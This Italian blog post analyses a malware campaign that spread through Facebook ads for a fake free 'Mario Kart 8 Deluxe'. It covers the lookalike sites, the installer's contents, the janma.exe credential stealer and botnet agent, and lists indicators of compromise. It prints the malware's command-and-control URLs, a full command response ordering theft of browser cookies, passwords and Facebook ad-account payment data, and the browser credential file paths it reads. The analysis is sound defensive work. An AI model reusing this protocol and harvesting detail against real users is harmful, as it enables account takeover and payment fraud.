Mario Malware

Se siete stati bambini con un Nintendo DS (presente!), avrete giocato per molto tempo con videogame della serie Mario, il famoso idraulico italiano. Apparso per la prima volta in “Donkey Kong”, Mario è protagonista indiscusso dei videogiochi della famosa casa di sviluppo Nintendo: dagli sport, alle automobili, non c’è videogioco famoso prodotto dalla Nintendo che abbia Mario come personaggio principale.

Uno dei videogiochi più recenti della serie è “Mario Kart 8 Deluxe”, una copia evoluta di Mario Kart per la piattaforma Nintendo Switch. I giocatori devono sfidarsi a gareggiare su percorsi diversi con auto di tutti i tipi e chi arrivo primo vince.

La semplicità della meccanica di gioco e le animazioni moderne fanno Mario Kart uno dei videogiochi di maggior successo della casa Nintendo tanto che il titolo continua a fare modeste vendite, nonostante siano passati 4 anni dalla data di rilascio, il 28 Aprile 2017.

Ma cosa c’entra questo con il mio blog? Recentemente, scrollando la bacheca di Facebook, un mio follower si è imbattuto in una campagna di sponsorizzazione che promuoveva un’incredibile offerta riguardo “Mario Kart 8 Deluxe”. Il sito menzionato da questa campagna (super-mario-kart8-deluxe.com) riportava infatti uno sconto del 100%, passando dalla bellezza di 59,99 $ a gratuito, fornendo un binario da scaricare.

Mario Deluxe Pubblicità Ads

Mica male, no? Dato che sembrava troppo bello per essere vero, era giunta l’ora di mettermi nei panni di un “reverse engineering” professionista™ e approfondire la questione, analizzando sia il sito web sia i binari.

Analisi del sito web

La pagina di facebook ci rimanda al dominio super-mario-kart8-deluxe.com e sembra molto simile, se non uguale, a un sito concepito da Nintendo. I font e le grafiche utilizzate sono quelle del sito ufficiale Nintendo.

Pagina iniziale del sito fake di Mario Kart

Proviamo ad eseguire il WHOIS di super-mario-kart8-deluxe.com, anche se non è molto d’aiuto dato che per la maggior parte delle volte i dati sui WHOIS sono diventati privati.

Name: NameSilo, LLC
IANA ID: 1479
Abuse contact email: abuse@namesilo.com
Abuse contact phone: tel:+1.4805240066
Registrar NameSilo, LLC
Email pw-eed1397dcd948b82b8e1e8c0e46cc5d2@privacyguardian.org  (registrant, admin, tech)
Name "Domain Administrator" (registrant, admin, tech)
Organization See PrivacyGuardian.org (registrant, admin, tech)

Procediamo quindi ad analizzare le eventuali connessioni per/da quel sito tramite la sezione “Network” degli “Strumenti per Sviluppatori”. Tutti gli assets (grafiche, font, CSS) sono hostati sullo stesso nome host. Il sito si connette a wildvideos.com per mostrare il video del videogioco.

Un grande bottone rosso con un countdown per l’offerta invita l’utente a scaricare un file ZIP contenente un binario. Questa rappresenta una delle prime red flag: se il videogioco della serie Mario è concepito per una piattaforma Nintendo, come può essere un file ZIP da installare su Windows?

Mario offer
hxxps://download-mario.com/pc/mario-bros-deluxe/Mario%20Bros%208%20Deluxe.zip

Successivamente all’analisi, è stato possibile trovare anche supermariokart8deluxe.com che è identico al sito menzionato in precedenza, solo che al posto dei binari, troviamo un link referral per Amazon con l’ID 1612686343. Molto probabilmente, l’intenzione degli attaccanti è di cammuffare il sito nel caso in cui venisse segnalato a ISP o autorità, mascherando il link del malware con il link di Amazon.

Trova le differenze quando la campagna è abilitata

Per mostrare il countdown, il sito memorizza la prima visita dell’utente utilizzando il cookie PHPSESSID che memorizza il numero della sessione dell’utente. Se scriviamo la data ‘X’ in minuti, la nuova data è spostata di 2 ore e 50 minuti.

$('.countdown').downCount({
    date: '04/23/2021 18:42:51'
}, function () {
    alert('WOOT WOOT, done!');
});

L’altro cookie che troviamo viene fornito da Cloudflare. Tutti i siti della campagna “Mario” sono dietro firewall Cloudflare probabilmente per nascondere l’ip di origine dei server. Un’altra caratteristica comune dei siti web utilizzati per diffondere il malware è quella di avere la stessa “organizzazione” dei path: gli assets nella cartella assets/.

La campagna non sembra essersi fermata ad un solo videogioco, dato che “Mario Kart 8 Deluxe” non è stato l’unico gioco preso di mira. Un amministratore di una pagina aziendale su Facebook con 10k follower ha riportato nei primi giorni di Aprile di essere stato hackerato con un altro binario “Mario Bros Deluxe 2021”. La pagina aziendale veniva quindi usata per diffondere ulteriormente la campagna.

Se hai scaricato il gioco Mario Bros Deluxe 2021, ti consiglio di scansionare il computer con l’ultimo antivirus. Anche se nel nostro caso, l’antivirus taceva. Cancella tutti i file che trovi con i nomi: dcdm.exe e Janma.exe.

Si è partiti quindi alla ricerca di tutti i domini ad esso collegati, trovando altri videogiochi in tema “Mario” utilizzati, come Super Mario Bros Deluxe o Mario 3D World.

Mario Bros Deluxe

I domini che sono stati riportati hanno alcuni elementi in comune che chiameremo “red flag comuni”. Uno tra questi è il tag di Google Analytics che utilizzano per tracciare se la campagna ha successo: G-7MFRXB4YGR. Non è unico, ma gli attaccanti tracciano il loro successo della campagna attraverso Google Analytics. Il secondo campanello d’allarme è dato dal fatto che tutte le pagine hanno un collegamento al dominio dl1.wild-videos.com che funge da server CDN per il video del videogioco.

Analisi statica del binario

Per l’analisi statica abbiamo preso in considerazione Mario Kart 8 Deluxe.zip contenente il binario Mario Kart 8 Deluxe.exe. Il file eseguibile si è rivelato essere un installer creato con Innosetup 6.0 . Per estrarlo, è sufficiente installare innoextract, un utility scritta in C++ che permette di ispezionare un pacchetto di installazione basato sul formato INS.

Avviamo il programma innoextract specificando il file da estrarre. Il contenuto del pacchetto verrà inserito in una cartella chiamata app, nel nostro caso abbiamo i seguenti file:

root@node#: ls app/Crypto                api-ms-win-core-console-l1-1-0.dll             api-ms-win-core-rtlsupport-l1-1-0.dll  api-ms-win-crt-string-l1-1-0.dll         mfc140u.dll
Cryptodome            api-ms-win-core-datetime-l1-1-0.dll            api-ms-win-core-string-l1-1-0.dll      api-ms-win-crt-time-l1-1-0.dll           msg.exe
_asyncio.pyd          api-ms-win-core-debug-l1-1-0.dll               api-ms-win-core-synch-l1-1-0.dll       api-ms-win-crt-utility-l1-1-0.dll        msg.json
_bz2.pyd              api-ms-win-core-errorhandling-l1-1-0.dll       api-ms-win-core-synch-l1-2-0.dll       api-ms-win-eventing-provider-l1-1-0.dll  pyexpat.pyd
_ctypes.pyd           api-ms-win-core-file-l1-1-0.dll                api-ms-win-core-sysinfo-l1-1-0.dll     certifi                                  python38.dll
_decimal.pyd          api-ms-win-core-file-l1-2-0.dll                api-ms-win-core-timezone-l1-1-0.dll    comctl32.dll                             pythoncom38.dll
_elementtree.pyd      api-ms-win-core-file-l2-1-0.dll                api-ms-win-core-util-l1-1-0.dll        config.json                              pywintypes38.dll
_hashlib.pyd          api-ms-win-core-handle-l1-1-0.dll              api-ms-win-crt-conio-l1-1-0.dll        curl-ca-bundle.crt                       select.pyd
_lzma.pyd             api-ms-win-core-heap-l1-1-0.dll                api-ms-win-crt-convert-l1-1-0.dll      curl.exe                                 sqlite3.dll
_msi.pyd              api-ms-win-core-interlocked-l1-1-0.dll         api-ms-win-crt-environment-l1-1-0.dll  dcdm.exe                                 tcl
_multiprocessing.pyd  api-ms-win-core-libraryloader-l1-1-0.dll       api-ms-win-crt-filesystem-l1-1-0.dll   gdiplus.dll                              tcl86t.dll
_overlapped.pyd       api-ms-win-core-localization-l1-2-0.dll        api-ms-win-crt-heap-l1-1-0.dll         janma.exe                                tk
_queue.pyd            api-ms-win-core-memory-l1-1-0.dll              api-ms-win-crt-locale-l1-1-0.dll       libcrypto-1_1.dll                        tk86t.dll
_socket.pyd           api-ms-win-core-namedpipe-l1-1-0.dll           api-ms-win-crt-math-l1-1-0.dll         libcurl.def                              ucrtbase.dll
_sqlite3.pyd          api-ms-win-core-processenvironment-l1-1-0.dll  api-ms-win-crt-multibyte-l1-1-0.dll    libcurl.dll                              unicodedata.pyd
_ssl.pyd              api-ms-win-core-processthreads-l1-1-0.dll      api-ms-win-crt-process-l1-1-0.dll      libffi-7.dll                             vcruntime140.dll
_tkinter.pyd          api-ms-win-core-processthreads-l1-1-1.dll      api-ms-win-crt-runtime-l1-1-0.dll      libssl-1_1.dll                           win32api.pyd
_win32sysloader.pyd   api-ms-win-core-profile-l1-1-0.dll             api-ms-win-crt-stdio-l1-1-0.dll        lz4                                      win32ui.pyd

Durante un analisi statica di un qualsiasi programma, cerchiamo qualsiasi elemento che possa confermare o meno l’ipotesi che il programma sia malevolo. La struttura dell’applicazione ricorda molto la struttura di programmi creati da pyinstaller, un utility che consente di raggruppare più script python in un unico eseguibile.

L’utility pyinstaller assembla il file finale convertendo gli script python in script pyc, “Python-compiled”, contenente in parte bytecode da essere eseguito in modo istantaneo.

Python è un linguaggio interpretato a “run-time”. A differenza di un linguaggio compilato, la macchina virtuale di Python, procede a codificare una singola istruzione nel momento in cui si va ad eseguire lo script. Altri linguaggi come il C hanno un compilatore per codificare la singola istruzione prima del momento in cui si va ad eseguire il programma.

I file pyc rappresentano una sorta di ibridazione tra il linguaggio compilato e il linguaggio interpretato. In parole povere, i file pyc contengono alcune istruzioni già pronte da eseguire (cioé già compilate).

Ritornando all’analisi, sarebbero molti i file da analizzare, anche se lo sguardo volge subito a pochi particolari file: janma.exe, msg.exe, curl.exe, dcdm.exe. Le librerie api-ms-win-* sono incluse di default da parte di pyinstaller e non sembrano state essere modificate. Per verificare se un file è stato modificato, è bastato ottenere l’hash del file e confrontarlo con le copie online.

Data Content Download Manager

Il file eseguibile dcdm.exe (chiamato Data Content Download Manager) è il primo file che viene eseguito dopo che InnoSetup ha estratto i file di installazione. L’analisi statica rivela che l’applicazione mostra una barra di caricamento finta che distrae l’utente mentre altri file compiono azioni.

Fake loading bar

A conferma di questa ipotesi, oltre al ritrovamento di funzioni come sleep() e progressBar1, troviamo la cartella dei sorgenti incluso nell’eseguibile: F:\Project\2020\hackcookie\loadingbar\Data Content Download Manager\obj\Release\Data Content Download Manager.pdb.

L’agent della botnet

È stato molto curioso analizzare il binario janma.exe perché in esso possiamo trovare il comportamento centrale del malware.

La prima caratteristica di questo malware è l’autoalimentazione della campagna malware. Il file janma.exe effettua una prima ricognizione, estrapolando cookie e combinazioni user/pass da Chrome, Firefox e Edge. I database che contengono username, passwords, cookie sono disponibili ai seguenti percorsi: /Google/Chrome/Default/Cookies, ~/.config/google-chrome/Default/Cookies, /.config/chromium/Default/Cookies, Appdata\Local\User data\Local State\, ~/.mozilla/firefox, Appdata\Mozilla\Firefox, ProgramFiles\Mozilla FireFox\cookies.sqlite.

Il programma malevolo controlla prima se l’utente del browser è già loggato su Facebook, inviando i cookie a facebook.com. Se non lo fosse procede con l’inserimento dell’e-mail e della password trovate nel passo precedente.

A quel punto, avendo l’accesso completo all’account (e di conseguenza, recuperando un auth token), l’applicazione chiama in sequenza una serie di API per capire di che account si tratta e per amplificare in caso la campagna. In ordine vengono effettuate le seguenti azioni:

  1. Richiesta su facebook.com con referer https://business.facebook.com/business_locations – il malware effettua il parsing della pagina con BeautifulSoup e verifica a quali gruppi l’utente si è iscritto.
  2. Il malware effettua una richiesta a https://mbasic.facebook.com, cercando di effettuare più richieste di amicizia possibili. Nel caso in cui fossero presenti altre richieste d’amicizia, procede a confermarle tutte.
  3. Si procede con eseguire un’altra richiesta a https://graph.facebook.com/v7.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status&access_token=. Questa API ritorna l’id, il nome, l’ammontare speso e lo status di tutti gli account personali per le pubblicità.
  4. Il malware procede a disattivare le notifiche per e-mail o per telefono dell’account personale pubblicitario. In questo modo, la vittima non riceverà alcun avviso nel caso di modifiche di campagne pubblicitarie e/o informazioni riguardanti i metodi di pagamento. Il programma malevolo contrassegna tutte le notifiche come “Già lette”.
  5. Si verifica se l’utente abbia attivato la doppia autenticazione e quali sessioni ha attive al momento.
  6. janma.exe conclude la collezione di informazioni, chiamando l’API business manager di Facebook per ottenere ulteriori informazioni su altre pagine e i relativi account pubblicitari.

La montagna di informazioni che janma colleziona ha un risvolto molto importante per la campagna malware. Dato che il malware viene diffuso principalmente attraverso delle campagne pubblicitarie via Facebook, l’acquisizione di elementi come il metodo di pagamento e le pagine gestite sono vitali.

Si presuppone che tali dati vengano poi utilizzati dagli attaccanti per creare nuove campagne pubblicitarie. In tal modo, il malware è come se si auto-alimentasse, sfruttando gli account e le carte di credito delle vittime per diffondere ulteriormente la campagna.

Il secondo elemento interessante del malware è la connessione periodica ad un server di comando e controllo. All’avvio del programma malevolo, il dispositivo si connette su https://rss.imagemakeup.net/rss/popular_youtube inviando TOKEN_APP. Il finto link rss restituisce il server a cui si deve connettere e l’id della macchina.

Successivamente, il programma malevolo scrive una chiave sul registro per creare un nuovo cronjob. Il cronjob verifica da 6 diversi URL se esistono o meno azioni da eseguire e, nel caso in cui esistessero, li esegue.

Gli URL (codificati in base 64 all’interno di janma.exe) sono i seguenti:

["https://sc.vrss.win/console/cmd", "https://s.myplaylist.win/console/cmd", "https://web.downloadgame247.com/console/cmd", "https://app.download-mario.com/console/cmd", "https://api.mariodeluxe.com/console/cmd", "https://rss.mario-deluxe.net/console/cmd"]

Si effettua ogni minuto una richiesta GET ai seguenti indirizzi, passando come parametro machineId un id alfanumerico che identifica internamente la macchina.

La prima risposta della botnet è la seguente:

[{"act":"FIREFOX_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1}}},{"act":"EDGE_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1}}},{"act":"CHROMIUM_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1},"base_path":["7Star\\7Star","Amigo","BraveSoftware\\Brave-Browser","CentBrowser","Chedot","Google\\Chrome SxS","Chromium","CocCoc\\Browser","Comodo\\Dragon","Elements Browser","Epic Privacy Browser","Kometa","Orbitum","Sputnik\\Sputnik","Torch","uCozMedia\\Uran","Vivaldi","Yandex\\YandexBrowser","Opera Software\\Opera Stable"]}},{"act":"CHROME_CK","endpoint":"https://vrss.win/console/execute","delay":1,"data":{"fb":1,"fb_http_v4":{"fme":"https://graph.facebook.com/v10.0/me?fields=name,email,birthday,gender","fpage":"https://graph.facebook.com/v10.0/me/facebook_pages?fields=id,name,followers_count,verification_status,business,roles.limit(9999){name,id,role}","fads":"https://graph.facebook.com/v10.0/me/personal_ad_accounts?fields=id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details","fbm":"https://graph.facebook.com/v10.0/me/businesses?fields=id,name,verification_status,created_time,partners.limit(9999),owned_ad_accounts{id,name,amount_spent,currency,account_status,adspaymentcycle{threshold_amount},funding_source_details},owned_pages{id,name,followers_count,verification_status},permitted_roles,business_users.limit(9999){email,pending_email,name,role}"},"bt":1,"at":1,"ck":1,"ck_debug":0,"tfa":0,"config":{"name":1,"data_folder":1,"ua":1,"key":1,"folder":1,"cookies":1,"history":1,"bookmarks":0,"password":1,"preferences":0,"facebook":1,"google":1}}},{"act":"WAIT","endpoint":"https://vrss.win/console/execute","delay":1,"data":[1]}]

Notiamo quindi che il malware riesce a catturare cookie e configurazioni anche per i seguenti browser Chromium-based: 7Star, Amigo, Brave, CentBrowser, Chedot, Chrome SxS, CocCoc Browser, Comodo Dragon Browser, Elements Browser, Epic Privacy Browser, Kometa, Orbitum, Sputnik, Torch, Uran, Vivaldi, YandexBrowser, Opera.

Tramite un azione di reverse engineering a scatola chiusa (banalmente provando a fare delle semplici GET sull’api della botnet), è stato possibile scoprire qualcosa in più riguardo all’infrastruttura del server centrale.

Ad ogni richiesta, il server Command and Control risponde sempre con un’azione. Nella maggior parte dei casi, quando ancora deve essere completata l’acquisizione dei dati, il comando è di WAIT (cioé aspettare). Ogni richiesta è definita come un’insieme di act, cioè di azioni da eseguire. Di seguito, si è provato ad eseguire e reversare i possibili campi.

  • act – identifica il tipo di azione che il malware esegue. Di seguito alcuni esempi:
    • CHROME_CK: invia il comando di acqusizione informazioni per l’obiettivo CHROME;
    • CHROMIUM_CK: invia il comando di acquisizione informazioni per l’obiettivo CHROMIUM;
    • WAIT: il malware aspetta 60 secondi e ritenta la richiesta;
    • RUN: il malware esegue il file specificato;
    • EXECUTE: prende come parametro un comando e lo esegue attraverso il Command Prompt.
    • DOWNLOAD_FILE: accetta come parametro un url e scarica il file.
    • DELETE_FILE: prende come parametro il nome di un file e il file malevolo procede ad eliminarlo.
    • UPLOAD_FILE: prende come parametro il nome di un file e il file malevolo procede a caricarlo su endpoint.
  • endpoint – dove caricare i dati: attraverso questo endpoint (costruito su websocket 19), il server centrale riesce a reperire i dati.
  • delay – valore intero, identifica il numero di secondi da aspettare prima di inviare la risposta all’endpoint.
  • data – dati aggiuntivi al campo act (nell’esempio della prima risposta della botnet, nel campo data troviamo i parametri per la cattura delle informazioni, per esempio URL API di Facebook, Cookie, Configurazione del Browser).

Il caricamento di ogni file e ogni stringa verso l’endpoint è codificato in Base64. Anche se può sembrare una scelta curiosa (la dimensione di ogni file cresce del 30% rispetto alla dimensione originale), è possibile che gli attaccanti abbiano implementato tale tecnica per evitare che il caricamento dei file venisse bloccata da firewall o altre applicazioni.

È chiaro quindi che il file malevolo è un agent di una botnet che si connette ad un server centrale di Comando e Controllo (C&C), rendendo la macchina infetta schiava degli attaccanti. Non è stato possibile appurare quante macchine sarebbero state infettate. Se hai per sbaglio eseguito il malware, considera il tuo device e il tuo account Facebook/Google compromessi.

Ipotizzando un attacco MiTM su uno dei domini, la richiesta per la cancellazione “self” della botnet da parte della macchina infetta sarebbe:

[{"act": "RUN", "endpoint": "...", "data": {"command" : "taskkill /IM 'Janma.exe' /F"}}, {"act": "DELETE_FILE", "endpoint" : "", "data" : {"file_name": "C:\Users\nomeutente\AppData\Local\Roaming\Janma.exe", }}]

Conclusioni: il controllo inesistente su Facebook Ads

Gli attaccanti non sono semplici script kiddie, sembrano invece essere sviluppatori professionisti. Dall’avanzata gestione del server C2C, ai molteplici domini, nessun dettaglio sembra essere lasciato al caso.

L’alto volume di domini utilizzati per questa campagna sono indice di un consistente investimento da parte del gruppo attaccante (anche solo 10 dollari a dominio, stiamo parlando minimo di centinaia di dollari). Si sono avvalsi di domain typo squatting per avere maggior successo, tuttavia il malware viene distribuito esclusivamente attraverso campagne pubblicitarie su Facebook.

Sostituire il link ai file malevoli con un link autentico del videogioco su Amazon per destare meno sospetti si è rivelata una mossa efficacia fino ad ora. Tuttavia, i domini trovati verranno riportati sia a Cloudflare, Namesilo e Namecheap.

È interessante anche sottolineare come Facebook abbia avuto un ruolo centrale nella diffusione della campagna del malware. Diversi sono gli errori da parte di Facebook: in primis non dovrebbe essere permesso ad un utente già autenticato la revoca tutte le notifiche riguardo gli account pubblicitari, compreso l’utilizzo della carta associata. Secondo, gli assets della campagna pubblicitaria (grafica, nome) sono sotto licenza restrittiva da parte di Nintendo. Sembra strano che Facebook approvi una pubblicità con grafiche ufficiali da parte di pagine che non sono Nintendo.

Seppur il malware sia stato concepito solo per sistemi Windows, non è possibile escludere a priori che sia stato usato anche per MacOS o Unix dato che l’app principale era stata scritta utilizzando Python.

L’impatto del malware è stato significativo all’interno di community composte da amanti di videogiochi. Come testimoniano diversi thread (1, 2, 3), la campagna ha colpito maggiormente le persone che seguivano pagine Facebook a tema videogiochi, a loro volta violate.

IoC e dettagli

Di seguito i dettagli dei diversi binari utilizzati dalla campagna, trovati nei domini connessi alla campagna principale visualizzata da un mio follower.

Binari

  • Mario Kart 8 Deluxe.exe:
    • SHA256 3c264da7b4d8d08aa7204d55eab519a18d040d4c2b3fb30172c3e02d413c1d2d
    • MD5 04dee077ab2a3dff2cd6c609c998c554
  • Mario Kart 8 Deluxe.zip:
    • SHA256 4881597679dd5263d2be5ea133001e301c3d20944983948920290c6f65a5f514
    • MD5 ae3a1534362891694e23d7c1c094acac
  • Mario 3D World.exe:
    • SHA256 3c264da7b4d8d08aa7204d55eab519a18d040d4c2b3fb30172c3e02d413c1d2d
    • MD5 04dee077ab2a3dff2cd6c609c998c554
  • Mario 3D World.zip:
    • SHA256 bc6599bc7598dcb0993214a97161534c0cb03ff16164ef1c8f8181683b594b8e
    • MD5 e6af7d9c9dcaf8b93eadea92eb8cd3cb
  • Super Mario Bros U Deluxe.exe:
    • SHA256 3c264da7b4d8d08aa7204d55eab519a18d040d4c2b3fb30172c3e02d413c1d2d
    • MD5 04dee077ab2a3dff2cd6c609c998c554
  • Janma.exe:
    • SHA256 c26229c5cdd32a6b6aa4c517f987ab74f36689d08954fd27ce77f7cdf603770a
    • MD5 a375ed142c1632347d01e57706d3be4a
  • Dmdc.exe

Domini

  • download-mario.com (registrato 4 Gennaio 2021, NameSilo) – distribuzione dei binari e server C2C
  • downloadgame247.com (registrato 4 Gennaio 2021, NameSilo) – Server C2C
  • mario3dworld.com (registrato 6 Febbraio 2021, NameSilo) – sito fake da pubblicità Facebook
  • mariodeluxe.com (registrato 18 Gennaio 2021, Google Analytics ID: G-B344FDX1HH, versione di PHP trovata 7.3.27, NameSilo) – sito fake da pubblicità Facebook
  • mario-deluxe.net (registrato 13 Gennaio 2021, Google Analytics ID: G-7MFRXB4YGR, versione di PHP trovata 7.3.27, Namesilo) – sito fake da pubblicità Facebook
  • mariokartdeluxe.net (registrato 20 Febbraio 2021, NameSilo) – sito fake da pubblicità Facebook
  • myplaylist.win (registrato 15 Gennaio 2021, NameSilo) – Server C2C
  • super-mario-3d.com (registrato 18 Aprile 2021, NameSilo) – sito fake da pubblicità Facebook
  • supermariokart8.com (registrato 17 Aprile 2021, Namecheap) – Server C2C
  • supermariodeluxe.com (registrato 29 Marzo 2021, Google Analytics ID: G-B344FDX1HH, NameSilo) – sito fake da pubblicità Facebook
  • vrss.win (registrato 15 Gennaio 2021, versione di PHP 7.3.29, NameSilo) – Server C2C
  • wild-videos.com (registrato 21 Ottobre 2020, Porkbun) – distribuzione dei video

Tutti i domini sono dietro Cloudflare. Ho sollecitato quindi l’azienda ad sospendere tutti i domini e a proseguire con la denuncia ad autorità.